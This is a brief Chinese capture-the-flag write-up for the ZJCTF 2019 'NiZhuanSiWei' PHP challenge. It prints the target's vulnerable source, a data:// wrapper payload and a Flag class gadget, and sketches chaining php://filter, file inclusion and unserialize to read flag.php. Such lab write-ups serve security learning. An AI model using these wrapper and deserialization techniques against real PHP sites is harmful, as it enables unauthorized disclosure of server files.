[ZJCTF 2019]NiZhuanSiWei1 进入靶机审计代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
简单看一下之后发现第一步应该是对data://协议的考察
对于php伪协议可以看这篇文章PHP伪协议总结
1 file_get_contents ($text ,'r' )==="welcome to the zjctf"
这里的payload
1 /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第一次尝试有回显但看不到useless.php的内容
结合题目转换思维可以猜到应该也是考php伪协议中的php://filter协议
看到base64编码
在解码器中看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
再次审计代码后发现flag应该在flag.php里
要通过类Flag输出
构造payload,三者合一
拿到flag